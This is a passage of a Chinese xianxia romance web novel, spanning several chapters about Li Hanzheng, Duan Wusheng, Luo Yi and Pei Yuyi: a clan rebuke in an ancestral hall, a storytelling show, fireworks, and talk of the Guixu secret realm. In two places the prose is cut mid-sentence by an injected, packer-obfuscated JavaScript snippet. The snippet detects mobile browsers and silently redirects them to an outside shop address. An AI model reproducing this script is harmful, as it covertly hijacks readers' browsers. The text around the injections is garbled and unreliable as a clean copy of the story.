裴玉仪双手握住重山,举过头顶,腰背仍跪得笔直,半披的黑发笼着单薄的肩头,发上只绾着一根木簪。 “告诉我,”裴执指着当中的牌位,“这把刀是谁传给你的?” 裴玉仪闭了下眼,“是父亲。” “再告诉我,你的父亲,我的兄长,是怎么死的?” “断生之战,魔族围攻,兵力尽绝,力竭战死。” “好哇,原来你也知道,”裴执眼中映着星星点点的烛火,像是某种藏在深处的东西在燃烧。 “仙门五大修仙世家,裴家主刀,是从荆天棘地中劈砍出一条路,是血里火里趟出来一条路,是代代积累、辈辈传承,才铸成当初的荣耀与辉煌。可是如今,一切都没了!” “我兄长,是何等天赋卓越,光明磊落,却死在了断生之战中,不讽刺吗?裴玉仪,你告诉我,不讽刺吗?谢家袁家作壁上观,段家家主段洵竟然爱上了那个女魔头,亲手将那女魔头放回魔域!洛家呢?呵呵,洛锦那老匹夫在最关键的时刻背叛了仙盟,反戈倒向了魔域!” “当初组建仙盟,说得倒是好听,同舟共济,荣辱一身,只有兄长听了进去,是他浴血奋战,决不投降,是他坚守在寒无海,寸步不让,所以他死了!死了——” 说到最后,裴执情绪激动地大吼出声,额角青筋爆出,面颊涨红,几乎像是要呕出心血。 “而那些蝇营狗苟之辈,却躲在兄长身后,安享着我兄长维护的平稳,断生之战结束,他们都获得了利益,只有我裴家,一落千丈,往昔荣耀一夕倾颓。” 他的声音突然高亢起来,掌住裴玉仪的后脑勺,用力往前推,逼着她睁大眼睛看清神龛正中的牌位,几乎声嘶力竭:“裴玉仪!你姓裴!你是裴家现任少家主,你是兄长唯一的女儿!来,你看着你父亲的牌位,告诉我,你该怎么做?你身上到底背负着什么?!” “叔父,”裴玉仪紧闭了下眼,两滴眼泪悄然滑落,她俯身长拜于地,磕了一个响头:“是玉仪错了。” “你是错了,”裴执像是燃尽的灰,站起身,疲惫道:“可是你改吗?” 祠堂内沉默如潭,几乎能听见烛芯哔啵的声音。 “玉仪,当年之事另有隐情,我知道不是你的过错,可你仍是错了,知道么?裴家不能再这样下去了,煊赫荣耀,千年传承,难道要断在你这一辈吗?” 裴执指着门外,“你是未来的家主,告诉我,你该如何庇佑你的同宗族人?你该如何回应他们的信任与交托?你该如何面对祖祖辈辈的亡魂英灵?” “如若可以,我又怎会让你受此屈辱,你可是兄长唯一的血脉,”裴执缓缓吐出一口气,“可是玉仪,和谢家的婚约不能变,你必须得顺着谢呈,我们不能失去谢家提供的资源。” 裴玉仪伏在青砖上,额头置于双臂,烛火的光芒在乌黑润泽的木簪上流淌,一颤一颤地亮。良久,传来她的声音,“玉仪……知道了。” 裴执转过身,“归墟秘境在即,上一次你浪费了,这一次绝对不能浪费,裴家的未来家主,总得有立身的功绩,你且好好想一想吧。” 他言毕,便走出祠堂。沉重的大门缓缓合上,渐渐将天光剪成狭小一缕,吱呀声停止,最后一缕天光也消失在黑暗中。 满堂煌煌烛火,映照出一行行沉默的木牌,玄漆上流淌的微光,如同一双双眼睛,沉默地俯视。祠堂宽阔幽深,越发衬得中间跪伏的人,单薄伶仃。 * 李寒筝一本正经地提出一个疑问:“归墟秘境是什么地方?” “这你都不知道,果然是个凡……”洛意意识到什么,面色扭曲了片刻,硬生生把尾音扭过来:“果然是个饭吃少了的呆瓜。” 李寒筝:“……”所以上一句和下一句有半毛钱关系么? 出于同情和一些不可言说的愧疚,洛意解释道:“所有修士死去之后,灵魂都会来到归墟,在妄虚之海的亡灵潮汐的冲刷下消散在这个世间,但是也有一些灵魂不愿意就此离去,他们尚有执念留存于世,或是想要将功法秘诀传承下去,或是有一些疑问想要得到解答,这些执念便会诞生回忆长廊,通过回忆长廊之后,便可以获得这位修士的传承。而这些回忆长廊聚集在一起,便诞生了归墟秘境。” “然而并不是你想要留下来就能够留下来的,亡灵潮汐日复一日的冲刷,会给灵魂带来很大的痛苦,一般只有那些尤为执着尤为强大的灵魂才能够留下来,这种品质的灵魂,一般来源于宗师大能,当然,也有陨落的神明。不过只有很少很少的人能够获得神明的传承。” “传承呢,一般有两种,第一种,就是功法秘籍,第二种,叫做天衍术,这是一种极为霸道极为耍赖的天赋秘诀,烙印于神魂,不可剥夺,不可教授,甚至没有修炼心法可言,只能够一对一传承。” “获得天衍术,不仅需要实力,还得需要运气,毕竟神明的回忆长廊,不是你想碰见就碰见的,与其说是你选择了回忆长廊,不如说是回忆长廊选择了你。” 洛意顿了顿,又道:“不过呢,也还是有极少数人获得了天衍术。” 李寒筝问道:“比如说?” “比如师兄。” “阿梧么,他的天衍术是什么?” 洛意听见前半句的称呼,微不可察地顿了顿,而后才瞪了李寒筝一眼,道:“天衍术呢,好比最里层的底裤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184459|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是最后一张底牌,不能够轻易告诉别人的。” 李寒筝双眸晶亮地哇了一声,洛意轻轻皱眉:“喂喂喂,你这个表情,别告诉我你也想去归墟秘境,我告诉你,你这个凡……” 洛意龇牙咧嘴地强行把这句脱口而出的话刹住,打了下自己的嘴巴,强行加重尾音:“饭都吃不明白的呆瓜,连进入归墟秘境的千重云梯都爬不上去。” 李寒筝顶着洛意别扭的目光忍不住笑了下:“其实我也没有那么脆弱。” 她倒了一杯茶,喂到洛意的嘴边,“来,喝口茶呀。” 洛意是不想喝的,她怀疑下了毒,然而身子往后抻得脖子都快要断了,李寒筝的水杯还是牢牢放在她的唇边,洛意的脑袋几乎要冒烟,心不甘情不愿地喝了一口,只听李寒筝问道:“裴家主会怎么惩罚裴姐姐?” 洛意从鼻孔中发出一声冷哼,扭过头,把那口茶给吐了,“我就知道无事献殷勤非奸即盗,茶我没喝,这个问题我也绝不回答。” 说罢,她就把脖子一扬,一派引颈就戮宁死不屈的大义凛然。 “……”李寒筝叹气:“倒也不必如此,就是单纯一口茶呢。” 洛意依旧冷哼。 李寒筝将杯子放下,而后将洛意试图抽走的手抱得更紧了,甚至手指强塞进洛意的指缝里,达成十指相扣,“你不说,我就来猜。” 洛意怒目而视。 李寒筝思索了番:“我猜肯定是把裴姐姐关进祠堂跪着,然后用刀鞘杖打裴姐姐的后背。” 洛意瞪大了眼睛,满脸都是“你怎么知道”,李寒筝回之以微笑。 大约过了两三息,袁期直挺挺地站起身,说了句“我还有事”,然后就风一样刮走了。 洛意咕囔道:“跑这么快,发疯了?听到师姐受罚这么高兴?” 李寒筝气定神闲地端起杯子喝了口茶,发出一声闲适的谓叹,深藏功与名。 不错,好茶,入口清香,苦后回甘。 《期玉》是本很神奇的书,它在开头铺了一个很大的世界观,但却纯纯是一本感情流的小说,所有案件都是雷声大雨点小,铺垫得波诡云谲,收尾得潦潦草草,前文铺垫的伏笔统统不管,一门心思走感情线,许多地方都随便的一笔带过。 也因此,评论区里的两极分化十分严重,一半恨得咬牙切齿,因为作者挖坑不填,另一半爱得死去活来,因为《期玉》作为一本感情流的小说十分合格,清新不造作,简单不油腻,在动辄三生三世甚至十生十世各种狗血误会大乱炖的修仙文里显得十分清新脱俗。 总而言之,就是两个正常得不行的男女主谈了一场甜甜的恋爱,有点波折但不狗血,有点误会但不夸张,没有爱一人还是爱苍生的智障选择,没有我很爱你但是不得不伤害你的奇葩剧情,也没有用死亡惩罚对方的窒息脑回路,反正正常得不行。 而且案件不复杂,对不想花脑子只想看甜甜恋爱的读者来说很友好。因为走的都是感情线,所以全文篇幅也不长,不到三十万字,结尾是非常俗套的男女主大婚,但是这年头,一本正常的小说也不常见了,因此还是非常受欢迎的。 虽然剧情因为李寒筝的加入而改动了很多,到目前为止男女主的感情线还停留在萍水相逢的路人状态,但是该到的剧情仍旧如约而至——裴玉仪的未婚夫,谢呈,《期玉》全文最大的虐点。 38. 两情(11) 李寒筝自觉是一个非常有用的路人甲npc,成功从洛意口中套出了许多重要信息,有效地推动了剧情的发展。 好了,任务完成,应该下场休息了。 李寒筝喝完最后一口茶,放下杯子,掸掸衣袖,拉着洛意往外走,走到门口,掌柜满面笑容地迎上来,往包厢里探了探,“咱袁仙君这是哪去了?演出快要开始了。” 李寒筝卡了壳,缓慢地眨了下眼。 哦吼……好像……还有个演出? 掌柜多少年的人精,一下子就看出了不对劲,但是不愿意相信,打着哈哈笑道:“哈哈,你怎么这幅表情,搞得好像袁仙君已经离开了一样呢,哈哈这个玩笑真好笑。” 李寒筝也笑起来:“哈哈……如果我告诉你这不是玩笑呢?” 掌柜的笑容戛然而止,面无表情道:“那我将会吊死在你的面前。” 李寒筝笑着在掌柜的肩膀上拍了一下,“哈哈哈,当然是开玩笑的啦,瞧你,怎么还严肃起来了。放心,你且去准备,万事有我。” 掌柜将信将疑地走了。 李寒筝站在门口沉默半晌,慢慢转过身,将目光转向了正在喝茶吃糕点的洛意,并露出了最和蔼可亲的微笑。 洛意手里还拿着糕点,“看我干嘛,笑成这样,打住,你脑子里在想什么,停住!别想!我堂堂洛家少家主,不可能会答应你的,绝对不可能!” * 段梧声踏入扬春楼中,月白色的衣摆轻轻拂过门槛。 这些日子李寒筝总是会在水云城待到很晚,若是无事,他便会来接她归家。 杨春楼是水云城中的第一楼,向来被喧哗的说笑声和往来客人给塞得满满当当,像是一锅沸腾的水,此时却有一种月下平湖般的空旷。 其实并不空旷,满座是客,无一空席,只是看客们都屏息静气,聚精会神,唯有一把干净轻悠的嗓音在楼内寂寂回荡,如同寂静湖边开了一枝红梅。 台上有个说书先生正端坐在桌前,带着一顶幕篱,绘声绘色地讲故事。 她的桌案在八角朱漆木台的边侧,桌上只有一把折扇和一方醒木,她讲到金戈铁马、山河万里的时候,台上的烛光全都灭了,只展台中间一盏人高的枝形烛台,高低错落雕刻成梨花树的模样,捧出一盏凄清寂寥的离别。 戴着朱红面具的高挑身影带着一把剑踏入烛光中,行云流水地开始舞剑,清亮的剑映射出纷乱的烛光,如在月下舞剑,激荡起梨花如雨。 帘后弦响声声,勾勒出寒夜的辽阔和苍茫。 故事讲到深闺愁人登楼眺望,只见天地寂寥,风月漫卷。说书先生站起身来,挥开折扇,水墨色的长绸抖出,她的脚步开始旋转,浅杏色的裙摆随之荡开,墨发飘摇,故事的尾韵愁别折叠在这几步舞中,浅浅的折痕,都是思人不眠的夜。 忽地,烛灯全灭,扬春楼陷入一片黑暗之中。 客人惊呼连连,远远近近地叫嚷开,时不时响起桌椅扯动的声音,是客人们离座,无头苍蝇一般到处乱撞。 黑暗对于修士而言不算什么,凭借声音就能够分辨出周围事物的距离,段梧声侧身躲过撞过来的人,神色无波无澜。 憧憧人影中,有一个身影拨开人群,直直朝着他而来。 而先一步到来的是她的呼吸声还有身上的香味,是来自于竹屋的熏香。 段梧声搓了搓指尖,似在犹豫,这档口,李寒筝已经攥住他的手,踮起脚扑到他的耳边说了句话,声音里带着隐藏不住的雀跃:“快走,慢了就完蛋了!” 下一秒,她拉着段梧声飞速往前跑,越过人群,推开杨春楼的大门,从黑暗一头扎入灯火重重的长街。 段梧声自恃剑术高超,哪怕对敌之时落于下风也要迎难而上,还没有这种夺命奔逃的时候。 长风掠过耳畔,重檐飞角的房屋往后倾倒,李寒筝的手很温热,喉咙里压着坏事得逞的细碎笑声,她的速度很快,直到跑了半条街,身后的扬春楼突然炸开骂骂咧咧的声音。 掌柜带着小厮跑了出来。 “人呢?” “哪去了?” “跑得真快,一眨眼就不见了。” 突然一个小厮指了个方向:“那里呢!” 一群人浩浩荡荡地跑过去了。 掌柜一边跑得气喘吁吁一边骂:“哎呦我的扬春楼,一百年清名呢都被这个小姑奶奶给毁了!” 浩浩荡荡一群人追过街角,引得来往路人侧目而观。 李寒筝背着身子站在一方摊子前,听了半晌,探头探脑确定没被发现,扯开肩上的披肩,扇了扇风,“真笨,这都没有发现,哎呀我真是聪明。” 一转头,看见被自己胡乱盖上一件大红色绸布扣上幕篱的段梧声,李寒筝忍不住笑得前仰后合,伸出手来给他整理:“我们阿梧真漂亮,穿什么都好看呢……” 段梧声有点无奈,握住她作乱的双手:“阿筝,你真的是在帮忙吗?” 李寒筝克制住用红绸布把段梧声裹起来的想法,讪讪地收回手,“当然是在帮忙了,不小心手滑了而已。” 段梧声自然没有揭穿,他将红绸布和面具取下来,温声道:“老板,这些我们都要了,多少钱?” 摊子老板卖了一晚上颗粒无收,陡然开了张,喜得不行,一边将东西包起来一边说吉祥话:“二位是夫妻吧,感情真好,祝二位百年好合,永结同心。” 段梧声接过东西付了钱,闻言顿了顿,他想要解释却又觉得并无必要,反正不过萍水相逢而已。 李寒筝留意着街头的动静,扯着他一会走一会停,一会往左一会往右,颇有些鬼鬼崇崇。 段梧声此时也反应过来了,无奈地笑了下,“阿筝,你到底讲了什么故事,让那扬春楼的掌柜这么生气?” “这都是他们不懂得欣赏,”李寒筝颇为遗憾地压低声音,摇了摇头。 “哦?” “咳咳,故事是这样的。” 李寒筝讲了一个很狗血的故事,一个贵族男子爱上了一位贫穷的卖花女,父母歧视卖花女出身卑贱,因此百般拆散,然而两人情真意坚,经历了种种挫折总算是打动了势利的父母,然而在下聘当天却发现他心爱的姑娘竟然是他的亲生妹妹,原来在十八年前,两家被暴雨困在了一间破庙,两位怀孕的夫人受了惊,同时生产,稳婆老糊涂,竟然将两个孩子不小心给弄错了。 卖花女突逢大变,一朝大喜一朝大悲,种种情绪交织之下竟然顿悟,径直投军去了,男子思念曾经的爱人,登上高楼等待卖花女归来。 “其实我觉得我讲得很好,跌宕起伏,就是有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192997|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿狗血,”李寒筝伸出拇指和食指,掐着一点点距离,表明只有一点点狗血,“虽然会让看客生出一点点被欺骗的感觉,但是总体而言,还是很不错的嘛,干嘛挑三拣四?” 段梧声沉默了片刻。 其实这个故事很是狗血,从风花雪月拐了个垂直的弯向禁忌之恋发展,又拐了个大垂直的弯走向热血出征,李寒筝虽然说得义正言辞,但是一下场就摸黑跑了,可见还是心虚的。 他正想不着痕迹地将这个话题给扯开,便觉自己的胳膊被摇了一下,李寒筝兴致冲冲地开口:“我跟你说,我简直太聪明了,这个长绸扇舞,我拢共只有几步能够跳好,然后我就只跳了这几步,但凡那个油灯再晚熄灭一点,我就不会跳了。” 她一副等夸奖的喜悦模样,段梧声从善如流地夸赞道:“阿筝很厉害。” “厉害的我有一点点疏漏,下台的时候跑得太快脚踝扭了一下,你背我好不好?”李寒筝露出了一点可怜巴巴的神情。 段梧声的目光凝了会,这属于他的职责范围之内,不当拒绝,便道:“可以。” “阿梧你最好了。”李寒筝在长街上张开双手,熏暖的风吹动她的长发,浅金色发带飘飞,被灯火缀上一层浅浅的金边。 这是一个月色宁静的夜晚,水云城中灯火通明,处处热闹喧哗,像是从光怪陆离的走马灯上拓印出来。风中是女孩的脂粉香、茶馆的茶香、酒馆的酒香,街摊琳琅吃食勾着人走出十步还要倒回去尝一尝,朦胧窗影中水袖一舞,酒杯清脆,吆喝声在远处近处重叠响起。 段梧声背着李寒筝慢慢走过熙攘人群,她的头发倾泻下来,一些垂落在他的肩头,一些混进他的头发里,还有一些柔柔软软地蹭着他的脖子。 女孩的双手摩挲着蒙住他的眼睛:“猜猜我是谁?” 段梧声轻叹了口气,“寒筝,你是小孩吗?” 碰见李寒筝之后似乎时常叹气,养育一只李寒筝还是比较难的,因为李寒筝总是有些奇奇怪怪的想法。 李寒筝双手捂着他的眼睛,分不出手,于是用头轻轻撞了一下。 段梧声笑了起来:“好吧,让我猜一猜,是我们漂亮美丽光彩夺目的寒筝,对么?” “猜对了。” 李寒筝的声音里染着笑意,却没有立刻松开手。 视线被剥夺,一双温软的手覆盖在眼睛上,听觉就变得尤为灵敏。 他听见一些细微的声音,不止是李寒筝的长发在风中拂动,还有喧闹人声中某种陡然升空的声音。 “砰——” 李寒筝在此刻松开手,手指没有离开,反而一路下滑勾着他的下巴往上抬了点。 烟花缀着明亮的尾巴,在夜空砰地一声绽开,璀璨的光束四溅而开,无数烟花重重叠叠,黯淡复明亮,将只有疏星和皎月的孤单夜空葳蕤成繁盛的花海。 一千万束明亮的花,全部都倒映进他睁开的眼睛里,像是在等待他的到来。 李寒筝在这漫天明亮的烟花中探出头来,毛绒绒的发丝轻轻飞舞,笼上一层潋滟变幻的光,满怀着骄矜的笑意:“好看吗?虽然掌柜小气巴巴,但是咱大气,排场要足,不仅免费表演,还附赠一场烟花。” 段梧声低头轻轻地笑了下,背着李寒筝慢慢往前走。 “好看。” 39. 两情(12) “仙君,烟花都按您说的布置好了,您看如何?” 洛意将银钱抛入店家的怀中,冷淡地嗯了一声:“不错。” 余光中是两个重叠的身影,清隽的年轻修士背着女孩穿梭过灯火葳蕤。 洛意背过身往另一个方向走去,在街边买了一壶酒,仰头灌了一口,辛辣入喉,像是饮了一团幽凉灼烧的火。 她的眼睛被灼出了一点水色,闭眼掩去,睁开眼又是一惯的清明冷傲,哼了一声:“这次总算不欠你了。” 另一个拐角,掌柜带着伙计齐齐刹住了脚步,仰望天空,和周围的行人一起,驻足观看夜空上的烟火。 伙计嘿了一声:“好漂亮的烟花啊。” 掌柜也笑了,挥挥手,“行了,咱回去吧。” 一个伙计凑过来,小心翼翼道:“咱不追了?” 掌柜在他脑袋上拍了一下,笑骂:“去去去!还追什么,小李姑娘够意思,这烟花啊,是赔给咱的。” 伙计也乐呵呵地笑:“其实我觉得小李姑娘讲得还不赖,那几步舞也跳得好,请来的仙君那个剑舞的,真叫一个俊!” “哼哼,”掌柜摸着胡子,“我看,她就只会那几步舞了,全都给用上了,脑子转得真是活络。” 扬春楼二楼,明明灭灭的烟火在何殊的脸上变幻,财大人沉默地立在她身后的黑暗中。 “没想到来一趟水云城,还能碰见这么有意思的说书和烟火。” 何殊手支着额,洁白的小臂上套着一只润泽通透的翡翠手镯。 她沉默良久,忽然道:“我曾经有一个很好的朋友。” “那时候我们都很贫穷,但是阵修却很花钱,买了纸笔和阵石之后连饭都吃不起,我们就从宗门偷溜出去,戴着面具上台表演,她很会编故事,那时候我们都还很年轻,虽然贫穷但却从来都不知道悲伤是怎么一回事,就爱编一些悲欢离合的狗血故事,虽然招骂,但却很叫座。那时候我们只是觉得好玩,浑然不懂故事里的愁绪。” 财大人轻声道:“后来呢?” “后来我的朋友背叛了我,成为了我的敌人,她从很高的地方摔下来,尸骨无存。” * 山间石阶曲曲折折,两旁古木高深繁茂,虫鸣远远近近地响起,风是沁凉的,吹拂而来清新的草木芬芳。 段梧声拾阶而上,身旁一团融融的火光,将交叠的身影拖得很长,那是一张正在燃烧的照明符。 李寒筝到点就犯困,已经困得意识迷离了,脑袋小鸡啄米般一点一点,最后直接趴在了他的肩膀上,温热的脸颊贴着单薄的外袍,热度清晰可感。 段梧声顿住了脚步,微微侧头,不自觉地屏住了呼吸。 目之所及是李寒筝白皙的面颊,纤长浓密的眼睫垂着,投下淡淡的阴影,像是有一只凤尾蝶栖息在她的眼睛上。 段梧声忽而想起李寒筝在台上生动活泼的模样,会动会跳,笑起来像一颗璀璨的宝石。 凡人百年总归是遗憾的,他很难想象有朝一日李寒筝会变成一个鹤发鸡皮的老婆婆。 他不由得产生疑惑。 李寒筝怎么会变老呢? 李寒筝怎么会掉牙齿呢? 李寒筝怎么会拄起拐杖呢? 她应该永远生机勃勃双眼清明,像一棵永远长青哗啦哗啦绿叶摇晃的小树才好。 可是这个世间,生灵的寿命皆有定律,不可违背,难以逆返。 “李寒筝,你需要养生了,从现在开始大约还不晚。” 段梧声又想,为李寒筝挑选夫君的标准里,只怕还得加上一条——督促李寒筝养生。 他叹了口气,这只怕很难。 这世间的情爱,无非是有利可图,而且获取利益后,还要翻脸不认人并且扭曲事实。 譬如明明是入赘却还要找外室,被发现后指责妻子是个母夜叉。 譬如明明是抛弃糟糠之妻,还要冠冕堂皇找个借口,是妻子太过怠懒。 段梧声心想,他与旁的男子是不同的,虽也是为了利益,但旁的男子会翻脸不认人,而他却会恪守交易的内容。 李寒筝既帮他寻到蜃楼珠和冰魄剑,那么不管李寒筝的真实身份是什么,所图又为何,他都会庇护李寒筝百年。 种种思路理清之后,得出了两个结论: 第一,李寒筝想要寻到一位两心相许的夫君。 第二,李寒筝需要开始养生,而由他来监督,是最好的选择。 这是两个相悖的结论,难以两全,一个是“想要”,另一个是“需要”。段梧声认为,“需要”更重要。 “李寒筝,”段梧声轻轻叹了口气,“你常常聪明,但有时却很愚钝,就譬如寻一个两心相许的夫君这件事,便十分不明智。那么,便将这件事放弃罢,我会照料你的……尽量让你慢一点老。” 他说完这句话,忽觉困扰已久的问题有了解决,便自顾自地决定道:“这些日子我为你物色了不少男子,你全都不喜,既然如此,便不再寻了。从此往后,你亦不可生此念头,需得清心静气,好好养生。” 李寒筝枕在他的肩膀上,睡得昏天黑地,安安静静,什么都不知道的模样。 段梧声扣住她的下巴,上下摇了下,忽觉有趣,轻声道:“点了头,便算做你同意了。” 袖袍之下,金色符文明明灭灭,像是有一把尖刀,刺入肌理,一路迸出鲜血。 他不甚在意地拂袖,将李寒筝往上托了托,便继续抬步而上。 李寒筝垂着手,杏黄色的长袖之下,红叶手链细细碎碎地晃荡,有一片叶子的尾端缓缓地变成了朱红色,渐渐又褪去,渐渐又浓郁,像是红色的潮汐正在一起一伏,岸边是一望无际的森绿。 * 木窗外传来咚咚几声轻响。 裴玉仪轻轻侧过头,良久,拖着已经跪得麻木的双腿起身,拉开了一扇窗户。 窗外树影横斜,却无人,只窗台上一个朱漆食盒。 她打开盖子,手指轻轻蜷了蜷。 第一层是一碗馄饨,汤色鲜亮清透,馄饨团团可爱,撒了葱花紫菜和虾米,旁边搁着汤匙。 第二层是一碟子糕点,花瓣模样,五种颜色,像是代表着五种口味。 第三层是一对护膝,绒毛在风中轻轻拂着,触之柔软温暖。 * 正是清晨,天光蒙蒙,竹林间氤氲着若有似无的薄雾。 李寒筝一身窄袖短打站在小院里,眼睛半睁未睁,神情带着没睡醒的懵,缓缓地哈了一声。 段梧声手里持着一把木剑,耐心重复道:“寒筝,以后你每日须得辰时起,锻炼半个时辰后再吃早餐。” “为什么?” “你身体不好,需要养生。” 李寒筝严肃而沉重地点了点头,然后开口:“我能不能拒绝?” 段梧声一双乌黑水润的眼睛看着她,轻声开口:“寒筝,你不想更加长久地陪着我吗?” 李寒筝怒了,这明明是她的词。 她捏着拳头,仿佛下定了某种决心。 然后转身就跑。 ……没跑掉。 一种无形的东西挡在她周围,直径五寸,看不见却摸得着,无论如何都无法跨越。 李寒筝转头怒目而视。 段梧声温和微笑:“这是我的天衍术,名为笼,能够在一定范围内设立结界,就目前而言,还没有人能够逃脱。所以寒筝,你大概率也没有办法逃出去。” “什么大概率,是绝对跑不出去好吗,”李寒筝惆怅地在结界上敲敲打打,“而且天衍术不是修士的底裤嘛?你怎么随随便便说出来了。” 段梧声被这个形容给呛了一下,但仍旧十分淡然:“这种形容倒也没错,但对我无用。” 李寒筝凄凄切切地西子捧心:“真的要这样嘛?” “真的。” 李寒筝更悲伤了:“所以阿梧,我们终究还是走到这一步了吗?那我们曾经的山盟海誓和甜言蜜语到底算什么?” “阿筝,”段梧声将桃木剑抛入她的怀中,温声笑笑:“别演戏了,还是快点开始吧。” 李寒筝:“……” * 袁期来的时候 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“归墟秘境”,这四个字在李寒筝脑海里绕了一遍,像是一颗通体璀璨的宝石,照得她的眼睛都亮了点,凑近道:“关于这个归墟秘境,还有没有什么别的消息?” “上次洛意说的基本上就是全部了,这里补充两点,第一,虽然归墟秘境每一百年就会开放一次,但是每一次都会发生改变,所以前人留下来的经验没有任何参考价值。第二,每个修士一生中只能去三次归墟秘境,生前两次,死后一次。” “所以你之前去过一次?” “当然,乌木扇就是我在归墟秘境里拿到的,不过……”袁期眯起眼睛,“你不会也想去归墟秘境吧?” 李寒筝矜持地点点头。 袁期给了和洛意一摸一样的回答:“几乎不可能,其实刚才还有一个遗漏的点,归墟秘境必须得是至少四境及四境以上的修士才能进去。” “没有别的办法了吗?” 见李寒筝眼中的期盼,袁期顿了顿,终于还是留了点余地:“至少你得择一门道,剑符阵药器,此五门为基本,此外还有无数道法,从中选一门,这样进入归墟秘境后,才有可能进入某位大能的回忆走廊。” 李寒筝若有所思地点了点头。 袁期沉默了会,心中挣扎许久,还是忍不住道:“虽然这样说不好,但是李寒筝,你不觉得段梧声对你太好了吗?” 李寒筝眨了下眼:“这样不好吗?” 袁期叹了口气:“当然很好,只不过转变太快了,琅华殿对峙之时,他甚至都没有出现过,徒留你一个人面对诘问和质疑。虽然是因为出任务受伤了,但这未免太巧了。然而去了一趟华灵宫秘境,段梧声却又陡然转变了态度,好得无微不至,像是已经对你情根深种……这不太合理,这世间的喜欢,无非是见色起意,或者日久生情,段梧声不是贪图美色的人,和你也没有相处很久……而且,你不觉得吗,他每次笑起来,弧度几乎是一样的。” 袁期没有说出来的是,他觉得段梧声有些奇怪……他的每个反应较于常人都会微不可察的慢一点,像是在思考应该如何反应,就像是……就像是一个木偶活了过来,观察着世界模仿着正常人的喜怒哀乐。 袁期摇了摇头,将这个未免太过不着边际的想法摇了出去,“段梧声这个人我猜不透,不过他到底是段家花大力气培养出来的人,又是镇厄司的司厄,一言一行都在众人的眼中,干不出什么出格的事情,而你身上也没什么能够算计的……哎呀,怎么越说越乱,你就当我在胡说八道吧。” 袁期站起身,理了理袖口:“不过你夫君的话是对的,凡人的寿命短暂,你是该好好养生,努力活得久一点,别下次见面就成了一个白发苍苍的小老太太了。行了,我要走了,李寒筝,好好活着。” 他说罢,便潇洒地转身,挥了挥手,沿着石阶下山去了。 长风拂过苍翠的竹林,潇潇之声铺天盖地。 过了许久,李寒筝拨了下瓷碗中的汤匙,轻轻地叹了一口气。 40. 不枉(1) “我决定了,我要学铸造之术。” “很有想法,来,先把这碗汤喝了。” 梧桐树枝繁叶茂,滤下丝丝缕缕的阳光,山中时常有风,树影纷乱地摇晃着。石桌上放着一碗汤药,苦涩的药味徐徐扩散。 李寒筝战术性咳嗽几声,“你根本就是敷衍我,我说了什么你完全没有听见。” “我听见了,你要学习铸造之术,虽然我对此并无研习,但也了解一二,”段梧声不缓不慢地开始解释:“学习此道,总避免不了开炉打铁,锯木锻石,都是些力气活,多喝些滋补养气的汤药自然是益无害的。” “那……”李寒筝有些讪讪,“那也用不着喝十全大补汤吧?” “为何不用?” 李寒筝煞有介事:“你没当过凡人,自是不知道,补过头了也对身体不好。” 段梧声轻笑一声:“寒筝放心,这一点我也有考虑,一般的十全大补汤自然不行,我在配方上做了改动,另外加入了一些益气养元的灵植,配合着我教与你的剑术心法,日日勤加练习,便不必担心过补不受。” 李寒筝如遭雷劈:“还得日日练习呀?” 李寒筝的眼睛里没有光了。 婚姻到底给女人带来了什么?让一个曾经聪明活泼昂扬向上的好女孩变得如今这般笑容苦涩,深深的疲惫和不为人知的痛苦全都藏在无言的沉默中。 李寒筝沉默了,但她还会叹气,一声比一声叹得重,眼神疯狂暗示。 段梧声语气平静地说了一句话:“寒筝,你不是要学习铸造之术吗?” 李寒筝不叹气了。 “可是怕苦,放心,我多加了甘草,还准备了一些桂花糖。”他边说着,边从袖中取出一个油纸包。 油纸剥开,琥珀色的桂花糖色泽晶莹。 李寒筝从鼻孔中哼了一声,表明自己勇于和苦涩汤药作斗争的大无畏精神,而后双手端起药碗,一饮……没有尽,她喝了一小口就感觉被汤药打了一拳。 苍天,怎么会有这种又苦又甜又腥,还有股树根味的汤药啊。 段梧声将桂花糖往前递了一点。 李寒筝小声哼了一下,飞速拿了块桂花糖,含在嘴里,终于是把这碗汤药给骗下去了。 药喝完,终于能问正事了,李寒筝含着桂花糖有些口齿不清:“你认识什么善于铸造的人吗?” “善于铸造么?倒是有一个,洛家代理家主,暮山副掌门兼长老,洛久霖。” 李寒筝含着桂花糖,提出一个疑问:“为什么是代理家主?” “洛家世世代代修习符术,洛久霖修习的却是铸造,按理来说无缘家主之位。不过断生之战以来,上一任洛家主叛敌,洛家遭受重创,然而可以成为家主的年轻一代还没有成长起来,难堪家主之位,故此由洛久霖暂代家主。” 李寒筝懂了,战术性整理了下袖子,不经意地开口:“那洛久霖收徒弟吗?” 段梧声看了她一眼,默了片刻,道:“我这里有一些洛长老久寻不得的天材地宝,此外,段家和洛家也有一些交易往来,用这些做筹码,或许洛长老会教导一二……” 李寒筝竖起一掌,掌心朝外,是个不必再说的手势:“我李某人英明一世,怎会需要这种走后门的方式?” “……”段梧声采用了一个较为迂回的说话:“洛意是洛长老的侄女,或许你可以在她那里打探一下。” * “不可能。” 洛意埋首符纸之间,头也不抬地否定了。 “为什么?” 临窗的书案上乱七八糟堆满了朱砂和符纸,洛意坐在一侧速度飞快地画符,李寒筝趴在另一侧,下巴枕在手臂上,语气鼓舞:“你要相信你姑姑,她一定能够慧眼识珠发现我的优秀的!” 